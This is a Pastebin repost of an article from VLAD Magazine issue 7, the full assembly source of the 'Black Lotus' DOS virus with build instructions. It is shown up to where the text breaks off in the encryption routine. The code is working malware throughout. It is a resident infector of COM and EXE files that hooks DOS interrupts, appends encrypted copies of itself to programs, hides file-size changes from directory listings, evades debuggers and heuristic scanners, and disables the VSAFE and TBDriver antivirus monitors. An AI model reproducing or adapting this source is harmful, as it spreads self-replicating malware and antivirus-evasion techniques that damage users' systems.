FlyFar

VLAD Magazine - Issue #7 - ARTICLE.3_7 - BlackLotus Virus

Jul 3rd, 2023
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 40.81 KB | Cybersecurity | 0 0
  1. ;Creator:  Killer Bee
  2. ;Virus Name: 'Black Lotus'
  3. ;
  4. ; Features:
  5. ;     * 64 bit xor File image encryption
  6. ;     * 8 Bit xor Memory image encryption
  7. ;     * Dir stealth. (Thanks Qark!)
  8. ;     * Infects Com and Exe on execution 4B00h.
  9. ;     * TBdriver and TBMem disabler.
  10. ;     * Vsafe disabler.
  11. ;     * Well commented source code... yur look'n at it!
  12. ;     * Does a good job of hiding from AVs.
  13. ;
  14. ;
  15. ; Bugs: Dir Stealth doesn't work in Win95 dos box.  Actually no virus I know
  16. ;       has a Dir stealth that will opperate from a Win95 dos box.  Win95 must
  17. ;       be running the command.com from some API or the long file name
  18. ;       function is somehow screwing things up.  But Dir Stealth works fine in
  19. ;       native dos mode. Stealth is accomplished by hooking int 21 and
  20. ;       watching 11h/12h and 4eh/4fh function calls.
  21. ;
  22. ;
  23. ; TSR..................... Yes
  24. ; Encrypted............... Yes  (File and Memory)
  25. ; Appending Virus......... Yes  (of course)
  26. ; Com infector............ Yes
  27. ; Exe infector............ Yes
  28. ; Ovl infector............ No
  29. ; Sys infector............ No
  30. ; Boot infector........... No
  31. ; ReSet Attrib............ Yes                              
  32. ; ReSet Time/Date......... Yes  (Put back as was found 'cept for seconds)
  33. ; Avoid Heuristic......... Yes  (Stack, PSP verification)
  34. ; Disable Watchdogs....... Yes  (VSAFE, TBDRIVER, TBMEM)
  35. ; Targets Checksums....... No
  36. ; Payload................. No   (Not nice to blow up computers!)
  37. ; Message................. Yes  
  38. ; Error trapping.......... Yes
  39. ; Directory Stealth....... Yes  
  40. ;
  41. ;
  42. ; Compile with A86 ver 4.01
  43. ; Rename resulting .bin file to a .com... stir lightly and pour.
  44.  
  45. VXSize =   heap-start
  46. TAG    =   2388h      ;use this so it won't re-infect files.
  47.                       ;Also the stack pointer of EXE 'fected files.
  48.                       ;Allows a virus of about 2000 bytes in size-heap.
  49.                       ;This VX is about 1100 bytes.. plenty of room left.
  50.                       ;Increase number as need for bigger VXs.. but take
  51.                       ;care!  TBSCAN flags if this number is too large.
  52.         org     0
  53. ;********************* Memory is encrypted / File NOT encrypted *************
  54. start:                          ;                                           *
  55.         mov     bp, sp          ;trick to get 'flex offset' to enable       *
  56.         int     3               ;variables in someone else's .exe           *
  57. next:                           ;                                           *
  58.         mov     bp, ss:[bp-6]   ;---^                                       *
  59.         sub     bp, offset next ;--^                                        *
  60.                                 ;                                           *
  61.         push    ds              ; put original ds on stack                  *
  62.         push    es              ; put original es on stack                  *
  63.                                 ;                                           *
  64. ;//////////////// My patented anti-heuristic routine \\\\\\\\\\\\\\\\\\\\\\\*
  65.         cmp     [0], 20CDh          ;PSP?                                   *
  66.         Je      PSP_OK              ;Yup all is ok.                         *
  67.         Jmp     $-9000              ;nope... Scanner alert!!!!              *
  68. PSP_OK:                             ;Try this with FV386 and see what       *
  69.                                     ;happens.                               *
  70.         Call    Encryption          ; Decrypt file image.                   *
  71.                                     ;                                       *
  72. ;********************* Memory is encrypted / File NOT encrypted *************
  73. Estart:
  74.  
  75. ;\\\\\\\\\\\\\\\\ Use stack to test for program tracing ////////////////////
  76.         mov     ax, 0BADh      ;Our test number
  77.         push    ax             ;place it on stack
  78.         pop     ax             ;pop it off stack (moving the sp also)
  79.         dec     sp             ;now back up just for a second
  80.         dec     sp             ;
  81.         pop     bx             ;pop what's there. (bx 'should' = 0BAD)
  82.         cmp     ax,bx          ;Does it?
  83.         jne     DamnTracer     ;if not then we're being traced!!!
  84.         Jmp     short J0       ;stupid debuggers!
  85. DamnTracer:
  86.         Call    Encryption     ;This should screw 'em up good!
  87. J0:
  88.         mov     ax, 3069h               ; Installation check disguised as
  89.         int     21h                     ; Dos check version.
  90.         cmp     dx, 0F00Dh              ; Already installed? 'F00D'
  91.         je      done                    ; We're here already... so get out.
  92.  
  93. ;Only need to call TBMem disabler once just before going resident.
  94. ;Once we are resident it doesn't matter what TBMem does then.
  95.  
  96.         Call    TBKiller                ;Disable TBDriver.
  97.  
  98.         Mov     ax, 0FA01h              ;put the sleepy watchdog to bed
  99.         mov     dx, 5945h               ; (vsafe disabler)
  100.         int     16h                     ;
  101.  
  102.         mov     ax, ds                  ; point ax at psp
  103.         dec     ax                      ; ax now points at mcb
  104.         mov     ds, ax                  ; make ds = mcb segment
  105.  
  106.         sub     word ptr ds:[3], (Endcode-start+15)/16+1
  107.         sub     word ptr ds:[12h], (Endcode-start+15)/16+1
  108.  
  109.         mov     ax, ds:[12h]            ;ax= newMCB
  110.         mov     ds, ax                  ;ds= newMCB
  111.         inc     ax                      ;ax= newPSP
  112.         mov     es, ax                  ;ex= NewPSP
  113.         mov     byte ptr ds:[0], 'Z'     ;mark newMCB as last
  114.         mov     word ptr ds:[1], 8       ;mark newMCB as DOS
  115.         mov     word ptr ds:[3], (Endcode-start+15)/16  ;newMCB mem size
  116.                                                         ;in paragraphs
  117.  
  118.         push    cs                         ;Getting ready to move resident.
  119.         pop     ds                         ;DS= code
  120.         xor     di, di                     ;di= where we going
  121.         mov     cx, (Heap-start)/2+1       ;size of VX to move
  122.         mov     si, bp                     ;si= what we gonna move
  123.         rep     movsw                      ;so move it then!
  124.  
  125.   ;We are now resident
  126.         xor     ax, ax                   ;Get ready to hook some int's
  127.         mov     ds, ax                   ;ds=0.  IVT usually start here.
  128.         push    ds                       ;save ds on stack
  129.         lds     ax, ds:[21h*4]           ; Get Int 21 handler
  130.         mov     word ptr es:OldI21, ax   ; save orig Int 21 Off
  131.         mov     word ptr es:OldI21+2, ds ; save orig Int 21 Seg
  132.         pop     ds                       ; get ds back again
  133.         mov     word ptr ds:[21h*4], offset i21 ; Re-dir to our Int 21
  134.         mov     ds:[21h*4+2], es                ;
  135.  
  136. ;We are running underneath the loaded virus so ds and es will not equal
  137. ;the cs when the memory encryption is done from here.
  138.         push    es            ;es-->
  139.         pop     ds            ;ds<--  (ds=es)
  140.         mov     ax, 0ABCDh    ;signal we are doing initial MemEnc
  141.         Call    MemEnc1       ;Encrypt the Memory image before exiting.
  142.  
  143. done:
  144.         pop     es                              ;Get orig es
  145.         pop     ds                              ;Get orig ds
  146.         cmp     sp, TAG
  147.         jne     RestoreCOM                      ;Must be a com file
  148.  
  149. RestoreEXE:
  150.         mov     ax, ds
  151.         add     ax, 10h                           ;ax=VX cs
  152.         add     cs:[bp+word ptr origCSIP+2], ax   ;add VX+Orig = Seg to Host
  153.         add     ax, cs:[bp+word ptr origSPSS]     ;ditto
  154.         cli                                       ;interrupts OFF
  155.         mov     ss, ax
  156.         mov     sp, cs:[bp+word ptr origSPSS+2]
  157.         sti                                       ;interrupts ON
  158.         db      0EAh                              ;jmp far too...
  159. origCSIP        dd      0fff00000h                ;... here.
  160. origSPSS        dd      ?
  161.  
  162. RestoreCOM:
  163.         mov     di, 100h                   ;di=100 for copy of bytes
  164.         push    di                         ;needed for ret.
  165.         lea     si, [bp+offset ComByte]    ;point at the orginal bytes
  166.         movsw
  167.         movsb
  168.         ret               ;could've used jmp 100h and left off the push di
  169.  
  170. TBKiller:
  171.         push    ds                      ;Fxxk TbDriver!
  172.         push    0000                    ;
  173.         pop     ds                      ;Start search at Seg 0000
  174.         push    ax                      ;Save the state
  175.         push    cx                      ;
  176.         push    si                      ;
  177.         MOV     CX,9000h                ;search top 36k (a lot!)
  178.         xor     si,si                   ;start at Offset 0--- top.
  179.         MOV     AX,05EBH                ;TbDriver's first part of signature
  180. L1:     CMP     AX,[SI]                 ;
  181.         JE      L3                      ;If found check for next part of sig
  182. L2:     INC     SI                      ;
  183.         LOOP    L1                      ;keep looking!
  184.                                         ;
  185. L3:     JNZ     GiveUp                  ;Must not be around.
  186.         CMP     BYTE PTR[SI+2],0EAH     ;Is it really TbDriver
  187.         JE      L4                      ;Yes it is!
  188.         JMP     short L2                ;No it aint.
  189. L4:
  190.         inc     si
  191.         mov     ds:[si b], 0                ;Gotcha!!
  192. GiveUp: pop     si                          ;Put data seg back like it was
  193.         pop     cx                          ;Restore the state
  194.         pop     ax                          ;
  195.         pop     ds                          ;
  196.         ret
  197.  
  198.    ;%%%%%%%%%%%%%%% Values the virus carries around %%%%%%%%%%%%%%%%%%%%%
  199.  
  200. ComByte       db   0cdh,20h,0               ;First 3 Com bytes go here.
  201. AVFILES       db   'TBF-FVIBVSIMSCMSDE'
  202. NameVirus     db   'Black Lotus virus ver 2.0'
  203. Maker         db   'Created by: Killer Bee. '
  204. Dates         db   'Finished on 96-08-15'
  205. Message       db   "i'm losing ground "
  206.               db   "you know how this world can beat you down "
  207.               db   "i'm made of clay "
  208.               db   "i fear i'm the only one who thinks this way "
  209.               db   "i'm always falling down the same hill "
  210.               db   "bamboo puncturing this skin "
  211.               db   "and nothing comes bleeding out of me just like a waterfall i'm drowning in "
  212.               db   "2 feet below the surface i can still make out your wavy face "
  213.               db   "and if i could just reach you maybe i could leave this place "
  214.               db   "i do not want this "
  215.               db   "i do not want this "
  216.               db   "don't you tell me how i feel "
  217.               db   "don't you tell me how i feel "
  218.               db   "you don't know just how i feel "
  219.               db   "i stay inside my bed"
  220.               db   "i have lived so many lives in my head "
  221.               db   "don't tell me that you care "
  222.               db   "there really isn't anything, is there? "
  223.               db   "you would know, wouldn't you? "
  224.               db   "you extend your hand to those who suffer "
  225.               db   "to those who know what it really feels like "
  226.               db   "to those who've had a taste "
  227.               db   "like that means something "
  228.               db   "and oh so sike i am "
  229.               db   "and maybe i don't have a choice "
  230.               db   "and maybe that is all i have "
  231.               db   "and maybe this is a cry for help "
  232.               db   "i do not want this "
  233.               db   "i do not want this "
  234.               db   "don't you tell me how i feel "
  235.               db   "don't you tell me how i feel "
  236.               db   "you don't know just how i feel "
  237.               db   "i want to know everything "
  238.               db   "i want to be everywhere "
  239.               db   "i want to fuck everyone in the world "
  240.               db   "i want to do something that matters."
  241.               db   "'i do not want this' NIN -trent reznor"
  242.  
  243. ;avoid TBav,F-prot,FVx86,IBm,VSafe/VShield,IM.exe,SCan,MSav.
  244.  
  245.    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  246.  
  247. ;********************* Memory NOT encrypted / File is encrypted *************
  248. i24:                                                         ;              *
  249.         mov     al, 3                                        ;              *
  250.         iret                                                 ;              *
  251.                                                              ;              *
  252. ; This is where all the GOOD stuff goes on at!                              *
  253.                                                              ;              *
  254. i21:                                                         ;              *
  255.         pushf
  256.         cmp     ax, 3069h   ;Was that a knock on my door?                   *
  257.         jz      VX_Check    ;Why yes it was!  Let him know we're home.      *
  258.                                                              ;              *
  259. ;        cmp     ah, 0FBh                 ; testing only                     *
  260.         cmp     ah, 4Bh                 ; Someone executing?                *
  261.         jz      execute                 ; Yup.                              *
  262.                                                              ;              *
  263.         cmp     ah, 11h                 ;FCB find first                     *
  264.         jz      directory                                    ;              *
  265.         cmp     ah,  12h                ;FCB find next                      *
  266.         jz      directory                                    ;              *
  267.                                                              ;              *
  268.         cmp     ah, 4eh                 ;Find first                         *
  269.         jz      FindF_N                                      ;              *
  270.         cmp     ah, 4fh                 ;Find next                          *
  271.         jz      FindF_N                                      ;              *
  272.                                                              ;              *
  273.  ;Nothing happened that we care about so let Dos do it's thing              *
  274.                                                               ;             *
  275. return:                                                       ;             *
  276.         jmp     exitint21                                     ;             *
  277.                                                               ;             *
  278. Directory:                                                    ;             *
  279.         Call    MemEnc1    ;Decrypt memory                                  *
  280.         jmp     DirStealth                                    ;             *
  281.                                                               ;             *
  282. FindF_N:                                                      ;             *
  283.         Call    MemEnc1    ;Decrypt memory                                  *
  284.         popf               ;get off my stack!                 ;             *
  285.         Jmp     FirstNext                                     ;             *
  286.                                                               ;             *
  287. VX_Check:                                                     ;             *
  288.         mov     dx, 0F00Dh   ;replace it with our check.                    *
  289.         jmp     exitint21    ;let Int 21 finish the job.                    *
  290.                                                               ;             *
  291.                                                               ;             *
  292. execute:                                                      ;             *
  293.         Push ax      ;Save it to the stack                                  *
  294.         Push bx      ;for a clean return to                                 *
  295.         Push cx      ;the interrupt after virus is done                     *
  296.         Push dx      ;                                                      *
  297.         Push ds      ;                                                      *
  298.         Push es      ;                                                      *
  299.         Push di      ;                                                      *
  300.         Push si      ;                                                      *
  301.         Push bp      ;                                                      *
  302.         pushf
  303.                      ;                                                      *
  304.         Call MemEnc1    ;Decrypt memory                                     *
  305.                                                               ;             *
  306. ;********************* Memory NOT encrypted / File is encrypted *************
  307. Execute1:
  308.  
  309. ;        call    TBKiller                ;make me happy!
  310. ;removed to save time ^^^
  311.  
  312.         push    dx
  313.         Mov     ax, 0FA01h              ;put the sleepy watchdog to bed
  314.         mov     dx, 5945h               ; (vsafe disabler)
  315.         int     16h                     ;
  316.         pop     dx
  317.  
  318.         mov     word ptr Hostname, dx      ;save Seg:off of ASCIIZ filename
  319.         mov     word ptr Hostname+2, ds    ;
  320.         mov     bx, dx
  321.  
  322.         xor     si, si                      ;Routine to help with finding
  323. ReadName:                                   ;out just who we're infecting
  324.         cmp     byte ptr [bx+si], '.'       ;and who not to infect.
  325.         je      NameEnd
  326.         inc     si
  327.         jmp     short ReadName
  328. NameEnd:
  329.         mov     di, si
  330. J5:
  331.         cmp     byte ptr [bx+di],'\'
  332.         je      NameBegin
  333.         dec     di
  334.         cmp     di, -1
  335.         je      NameBegin
  336.         jmp     short J5
  337. NameBegin:
  338.         inc     di
  339.  
  340. ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  341. ;            Put checks for all the file names you want to avoid...
  342. ;                             ...HERE
  343. ;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
  344.         push    si
  345.         xor     si, si
  346.         mov     cl, 9                    ; 9 name checks.
  347. LO1:
  348.         mov     ax, CS:[offset AVFILES+si]
  349.         cmp     word ptr [bx+di], ax
  350.         jne     J1
  351.         pop     si
  352.         jmp     DoTheMem
  353. J1:
  354.         inc     si
  355.         inc     si
  356.         loop    LO1
  357.         pop     si
  358.  
  359.         inc     si
  360.         add     bx,si
  361.         mov     word ptr Extname, bx      ;save Seg:off of ASCIIZ filename
  362.         mov     word ptr Extname+2, ds    ;
  363.  
  364.         mov     ax, 3524h                     ;get Int 24
  365.         int     21h                           ;let dos do it
  366.         push    es                            ;save for the put back
  367.         push    bx                            ;ditto
  368.  
  369.         push    ds                            ;ds==>
  370.         push    cs                            ;cs==>
  371.         pop     ds                            ;ds<==cs
  372.         mov     ax, 2524h                     ;re-dir to my Int 24
  373.         lea     dx, offset I24
  374.         int     21h
  375.         pop     ds                            ;ds<==ds
  376.  
  377.         push    cs                            ;cs=>>  stack
  378.         pop     es                            ;es<<=cs
  379.  
  380.         mov     ax, 4300h                     ;Get attributes
  381.         lds     dx, Hostname                  ;of this file
  382.         int     21h                           ;let dos doit
  383.         jc      LongReturn                    ; ...problem!
  384.  
  385.         Jmp     Short J3
  386. LongReturn:
  387.         Jmp     Return1                       ;I hate chained jumps
  388. J3:
  389.  
  390.         push    cx                            ;save attributes
  391.         push    ds                            ;save ptr to ASCIIZ filename
  392.         push    dx                            ;
  393.  
  394.         mov     ax, 4301h                     ;clear attributes
  395.         xor     cx, cx
  396.         int     21h
  397.  
  398.         mov     ax, 3D02h                     ;open for read/write
  399.         lds     dx, Hostname
  400.         int     21h
  401.         mov     bx, ax                        ;put handle in bx
  402.  
  403.         push    cs                            ;cs-->
  404.         pop     ds                            ;ds<--
  405.  
  406.         mov     ax, 5700h                     ;get file time/date
  407.         int     21h                           ;let dos do it
  408.         push    cx                            ;save 'em on stack
  409.         push    dx                            ;
  410.  
  411.         mov     ah, 3Fh                       ;Read from file
  412.         mov     cx, 1Ch                       ;this many bytes
  413.         mov     dx, offset buffer             ;put it here.
  414.         int     21h                           ;let dos do it
  415.  
  416.         mov     ax, 4202h                     ;Point to end of file
  417.         xor     cx, cx
  418.         xor     dx, dx
  419.         int     21h                           ;let dos do it
  420.                                               ;DX:AX = TRUE file size
  421.         mov     word ptr [HostSize+2], dx     ;save file size
  422.         mov     word ptr [HostSize], ax
  423.  
  424.  
  425.         cmp     word ptr [offset buffer], 'ZM' ; Exe file?
  426.         jz      CheckExe                       ; might be a com.
  427.  
  428.         push    ds                             ;save ds
  429.         push    di
  430.         lds     di, ss:[ExtName]               ;get file extention
  431.         cmp     word ptr[di], 'OC'             ;is it a COm?
  432.         pop     di
  433.         pop     ds
  434.         jne     Jmp_close                      ;nope..
  435.  
  436.         mov     cx, word ptr [offset buffer+1] ; jmp location
  437.         add     cx, Heap-start+3        ; convert to filesize
  438.         cmp     ax, cx                  ; equal if already infected
  439.         jz      jmp_close
  440.  
  441.         cmp     ax, 65535-(Heap-start) ; check if too large
  442.         ja      jmp_close               ; Exit if so
  443.  
  444.         cmp     ax, 1200                ; check if too small (bait)
  445.         jb      jmp_close               ; Exit if so
  446.  
  447.         mov     di, offset ComByte
  448.         mov     si, offset buffer
  449.         movsw
  450.         movsb
  451.  
  452. ;ax = size of file. Sub 3 from size of file because of the jump and that is
  453. ;offset to the end of the file.  put a jump in front of that and it jmps to
  454. ;the end of file and to our code.
  455.  
  456.         mov     cx, 0003h                           ;our jump size
  457.         sub     ax, cx                              ;take from ax
  458.         mov     word ptr [offset buffer+1], ax      ;offset to EOF mov to top
  459.         mov     dl, 00E9h                           ;coded jmp
  460.         mov     byte ptr [offset buffer], dl        ;move it in there
  461.         Call    KeyMe                               ;Make Key for encryption
  462.         jmp     ComInfect                           ;jmp past exe stuff
  463.  
  464. CheckEXE:
  465.  
  466.         cmp     word ptr [offset buffer+10h], tag ;We here?
  467.         je      Jmp_close                          
  468.         cmp     word ptr [offset buffer+1Ah], 0   ;Overlay??
  469.         jne     Jmp_close                          
  470.         cmp     byte ptr [offset buffer+18h],52h ; pklite'd?
  471.         je      Skipp       ;Pklite is ok by us!
  472.         cmp     byte ptr [offset buffer+18h],40h ; don't NE/PE
  473.         jge     Jmp_close   ;Must be a NE/PE exe. Bad news.
  474.  
  475.         mov     ax, [buffer+04]              ;ax=num of 512 file pages
  476.         dec     ax                           ;last page isn't 512
  477.         mov     cx, 200h                     ;prep for mul by 512
  478.         mul     cx                           ;SLOW mul
  479.         mov     cx, [buffer+02]              ;cx=byte size of last page
  480.         add     ax, cx                       ;add last page size to ax
  481.                                              ;DX:AX = header stated file size
  482.         mov     cx, word ptr [HostSize+2]
  483.         cmp     cx, dx                       ;Head-Size match Size?
  484.         jne     Jmp_Close                    ;Must have internal overlay
  485.         mov     cx, word ptr [HostSize]
  486.         cmp     cx, ax                       ;Head-Size match Size?
  487.         jne     Jmp_Close                    ;Must have internal overlay
  488.  
  489.         Jmp     short Skipp ;got this far all is well! Infect it!
  490.  
  491. jmp_close:
  492.         jmp     close                            ; forget it.
  493. KeyMe:
  494. ;^^^^^^^^^^^^^^^^^^^^^ Let's make a key ! ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  495.         push cx                         ; save regs we are about to use
  496.         push dx                         ;
  497.         push ax                         ;
  498.  
  499.         mov     ah, 2ch                 ;use Get Time for Encrypt Value----+
  500.         int     21h                     ;    Sorta Random                  |
  501.         mov     word ptr EnValue, dx    ;dx= sec/hun     Eight (64)        |
  502.         mov     word ptr EnValue+2, cx  ;cx= hour/min        Digit (Bit)   |
  503.         add     dh, dl                  ;                        Key       |
  504.         add     dl, ah                  ;                                  |
  505.         mov     word ptr Envalue+4, dh  ;                                  |
  506.         mov     word ptr Envalue+5, dl  ;                                  |
  507.         sub     cl, dh                  ;                                  |
  508.         mov     word ptr Envalue+6, dh  ;                                  |
  509.         mov     word ptr Envalue+7, cl  ;----------------------------------+
  510.  
  511.         pop  ax                         ; restore regs
  512.         pop  dx                         ;
  513.         pop  cx                         ;
  514.         ret                             ;
  515. ;vvvvvvvvvvvvvvvvvvvvv Let's make a key! vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
  516. skipp:
  517.         Call    KeyMe                         ;Make Key for encryption
  518.  
  519.         lea     si, buffer+14h                ;
  520.         lea     di, origCSIP                  ;
  521.         movsw                                 ; Save original CS and IP
  522.         movsw                                 ;
  523.  
  524.         sub     si, 0Ah                       ;
  525.         movsw                                 ; Save original SS and SP
  526.         movsw                                 ;
  527.  
  528.         push    bx                            ; save file handle
  529.         mov     bx, word ptr [buffer+8]       ;Header size in 16 byte para's
  530.         mov     cl, 4
  531.         shl     bx, cl                        ; mul by 10h (16)
  532.  
  533.         push    dx                            ; Save file size on the
  534.         push    ax                            ; stack
  535.  
  536.         sub     ax, bx                        ; File size - Header size
  537.         sbb     dx, 0                         ; DX:AX - BX -> DX:AX
  538.  
  539.         mov     cx, 10h
  540.         div     cx                            ; slow div!! by 10h (16)
  541.  
  542.         mov     word ptr [buffer+16h], ax
  543.         Test    al, 1
  544.         jz      EvenStack        ; 'Proper' stacks have even segments
  545.         dec     ax                                        
  546.         Jmp     short OddStack
  547. EvenStack:
  548.         Inc     ax     ; don't want cs and ss to be the same
  549.         Inc     ax     ; TBAV flags it if they are.
  550. OddStack:
  551.  
  552.         mov     word ptr [buffer+0Eh], ax
  553.         mov     word ptr [buffer+14h], dx
  554.         mov     word ptr [buffer+10h], tag
  555.  
  556.         pop     ax                            ; Filelength in DX:AX
  557.         pop     dx
  558.  
  559.         add     ax, Heap-start
  560.         adc     dx, 0
  561.  
  562.         mov     cl, 9
  563.         push    ax
  564.         shr     ax, cl
  565.         ror     dx, cl
  566.         stc
  567.         adc     dx, ax
  568.         pop     ax
  569.         and     ah, 1
  570.  
  571.         mov     word ptr [buffer+4], dx   ; Rework file size in the header
  572.         mov     word ptr [buffer+2], ax   ; ditto
  573.  
  574.         pop     bx                            ; restore file handle
  575.  
  576. ComInfect:
  577. ;))))))))))))))))))) Move to buffer and encrypt it )))))))))))))))))))))))))
  578.         mov     si, offset Start
  579.         mov     cx, offset OpBuffer - offset Start
  580.         mov     di, offset OpBuffer
  581.         rep     movsb
  582.         mov     bp, offset OpBuffer - offset Start
  583.         Call    Encryption
  584. ;((((((((((((((((((( Move to buffer and encrypt it (((((((((((((((((((((((((
  585.  
  586.         mov     ah, 40h                              ; concatenate virus
  587.         mov     cx, Heap - start
  588.         mov     dx, offset OpBuffer
  589.         int     21h                                  ;let dos do it
  590.  
  591.         mov     ax, 4200h                     ;point to beginning of file
  592.         xor     cx, cx
  593.         cwd
  594.         int     21h                           ;let dos do it
  595.  
  596.         mov     ah, 40h                       ;do the header
  597.         mov     cx, 1Ch
  598.         mov     dx, offset buffer
  599.         int     21h                           ;let dos do it
  600.  
  601. close:
  602.         pop     dx                            ; get original date/time...
  603.         pop     cx                            ; ...off stack
  604.         mov     al,ch                         ;mov to al for tagging
  605.         and     al,1fh                        ;
  606.         and     cl,0e0h                       ;(used in stealthing)
  607.         or      cl,al                         ;
  608.         mov     ax, 5701h                     ;put this on the file
  609.         int     21h                           ;let dos do it
  610.  
  611.         mov     ah, 3Eh                       ;close file (bx=handle)
  612.         int     21h                           ;let dos do it
  613.  
  614.         mov     ax, 4301h                     ;Set attribute
  615.         pop     dx                            ;get file name back
  616.         pop     ds                            ;
  617.         pop     cx                            ;Attributes to set
  618.         int     21h
  619.  
  620. Return1:
  621.         mov     ax, 2524h                     ; Put the error handler back.
  622.         pop     dx
  623.         pop     ds
  624.         int     21h
  625.  
  626.  
  627. ;********************* Memory NOT encrypted / File is encrypted *************
  628. DotheMem:                                                     ;             *
  629.                                                               ;             *
  630.         Call MemEnc1    ;Encrypt memory                                     *
  631.         popf                                                      ;             *
  632.         Pop bp                                                ;             *
  633.         Pop si       ;Restore everything                      ;             *
  634.         Pop di                                                ;             *
  635.         Pop es                                                ;             *
  636.         Pop ds                                                ;             *
  637.         Pop dx                                                ;             *
  638.         Pop cx                                                ;             *
  639.         Pop bx                                                ;             *
  640.         Pop ax                                                ;             *
  641.                                                               ;             *
  642. exitint21:                                                    ;             *                                          
  643.                                                               ;             *
  644.         popf
  645.         db      0EAh                    ; Jump to original Int 21.          *
  646. OldI21  dd      ?                       ; seg:off of original Int 21.       *
  647. ;********************* Memory NOT encrypted / File is encrypted *************
  648.  
  649. DirStealth:
  650.  
  651.         pushf
  652.         call    dword ptr cs:[oldi21]   ; call it
  653.  
  654.         test    al,al                   ; Found what looking for?
  655.         jne     EscDir                  ; no so get out
  656.  
  657.         push    es
  658.         push    ax                              ;Save whatcha change
  659.         push    bx
  660.         push    si
  661.  
  662.         mov     ah,2fh                          ;Get DTA
  663.         pushf
  664.         call    dword ptr cs:[oldi21]   ; call it
  665.         xchg    si,bx
  666.  
  667.         cmp     byte ptr es:[si],0ffh   ;is it Extended?
  668.         jne     IsntExtFCB
  669.  
  670.         add     si,7                    ;Yup. Move it to drive byte
  671.  
  672. IsntExtFCB:
  673.  
  674.         mov     bx,word ptr es:[si+17h]         ;Move time.
  675.         and     bx,1f1fh
  676.         cmp     bl,bh
  677.         jne     DoneDir                        ;Is our marker set ?
  678.  
  679.         sub     word ptr es:[si+1dh],offset Heap
  680.         sbb     word ptr es:[si+1fh],0
  681.  
  682. DoneDir:
  683.         pop     si
  684.         pop     bx
  685.         pop     ax
  686.         pop     es
  687. ;********************* Memory NOT encrypted / File is encrypted *************
  688. EscDir:                                                       ;             *
  689.                                                               ;             *
  690.         Call MemEnc1    ;Encrypt memory                                     *
  691.         popf                                                  ;             *
  692.         iret                                                  ;             *
  693. ;********************* Memory NOT encrypted / File is encrypted *************
  694.  
  695. FirstNext:
  696.         pushf
  697.         call    dword ptr cs:[oldi21]
  698.         jc      EscSearch
  699.  
  700.         push    es                            ;Save whatcha change
  701.         push    bx
  702.         push    si
  703.  
  704.         mov     ah,2fh
  705.         pushf
  706.         call    dword ptr cs:[oldi21]
  707.         xchg    si,bx
  708.  
  709.         mov     bx,word ptr es:[si+16h]
  710.         and     bx,1f1fh
  711.         cmp     bl,bh
  712.         jne     DoneSearch                         ;Time set to us?
  713.  
  714.         sub     word ptr es:[si+1ah],offset Heap
  715.         sbb     word ptr es:[si+1ch],0
  716.  
  717. DoneSearch:
  718.         pop     si
  719.         pop     bx
  720.         pop     es
  721.         clc                             ;need to pass this back
  722. ;********************* Memory NOT encrypted / File is encrypted *************
  723. EscSearch:                                                        ;         *
  724.         Call MemEnc1    ;Encrypt memory                                     *
  725.         retf     2                      ;don't pop flags                    *
  726.                                                                   ;         *
  727. MemEnc1:                                                          ;         *
  728.   pushf                                                           ;         *
  729.   cmp  ax, 0ABCDh                                                 ;         *
  730.   je   J10                                                        ;         *
  731.   push ds         ;      Make ds and es equal cs if                         *
  732.   push es          ;     we are resident in memory.                         *
  733.   push cs           ;    But if we are running from the host                *
  734.   push cs            ;   file we need ds to equal es and not                *
  735.   pop  es             ;  cs.                                                *
  736.   pop  ds              ;                                                    *
  737.                                                                   ;         *
  738. J10:                                                              ;         *
  739.   push ax                                                         ;         *
  740.   push cx                                                         ;         *
  741.   push si                                                         ;         *
  742.   push di                                                         ;         *
  743.                                                                   ;         *
  744.   push 7100h                                                      ;         *
  745.   push offset Heap                                                ;         *
  746.   push offset Encryption                                          ;         *
  747.                                                                   ;         *
  748.   push 9900h                                                      ;         *
  749.   push offset EscSearch                                           ;         *
  750.   push offset FirstNext                                           ;         *
  751.                                                                   ;         *
  752.   push 0CD00h                                                     ;         *
  753.   push offset EscDir                                              ;         *
  754.   push offset DirStealth                                          ;         *
  755.                                                                   ;         *
  756.   push 1200h                                                      ;         *
  757.   push offset DoTheMem                                            ;         *
  758.   push offset Execute1                                            ;         *
  759.                                                                   ;         *
  760.   push 6900h                                                      ;         *
  761.   push offset i24                                                 ;         *
  762.   push offset start                                               ;         *
  763.                                                                   ;         *
  764. J9:                                                               ;         *
  765.   pop  si              ;get start                                           *
  766.   pop  cx              ;get end                                             *
  767.   sub  cx, si          ;sub to get num of bytes                             *
  768.   pop  ax              ;xor value                                           *
  769.   mov  di, si          ;point at code to xor                                *
  770.                                                                   ;         *
  771. MLoop1:                                                           ;         *
  772.   lodsb                                                           ;         *
  773.   xor al, ah                                                      ;         *
  774.   stosb                                                           ;         *
  775.   loop MLoop1                                                     ;         *
  776.                                                                   ;         *
  777.   cmp  ah, 71h         ;finished?                                           *
  778.   jne J9                                                          ;         *
  779.                                                                   ;         *
  780.   pop di                                                          ;         *
  781.   pop si                                                          ;         *
  782.   pop cx                                                          ;         *
  783.   pop ax                                                          ;         *
  784.   cmp  ax, 0ABCDh                                                 ;         *
  785.   je   HostRun2                                                   ;         *
  786.   pop es                                                          ;         *
  787.   pop ds                                                          ;         *
  788. HostRun2:                                                         ;         *
  789.   popf                                                            ;         *
  790.   ret                                                             ;         *
  791. ;********************* Memory NOT encrypted / File is encrypted *************
  792.  
  793. ;********************* Memory encrypted / File NOT encrypted ****************
  794. Encryption:                                                         ;       *
  795.   push  ax                                                          ;       *
  796.   push  dx                                                          ;       *
  797.   push  ds                                                          ;       *
  798.                                                                     ;       *
  799.   push  cs                                                          ;       *
  800.   pop   ds                                                          ;       *
  801.   xor   di, di                                                      ;       *
  802.   lea si, [bp+EStart]                                               ;       *
  803.   mov cx, offset Encryption - offset EStart                         ;       *
  804. EnDe:                                                               ;       *
  805.   mov ah, byte ptr si                                               ;       *
  806.   xor ah, ds:[bp+di+EnValue]                                        ;       *
  807.   mov byte ptr si, ah                                               ;       *
  808.   inc di                                                            ;       *
  809.   and di, 7                                                         ;       *
  810.   inc si                                                            ;       *
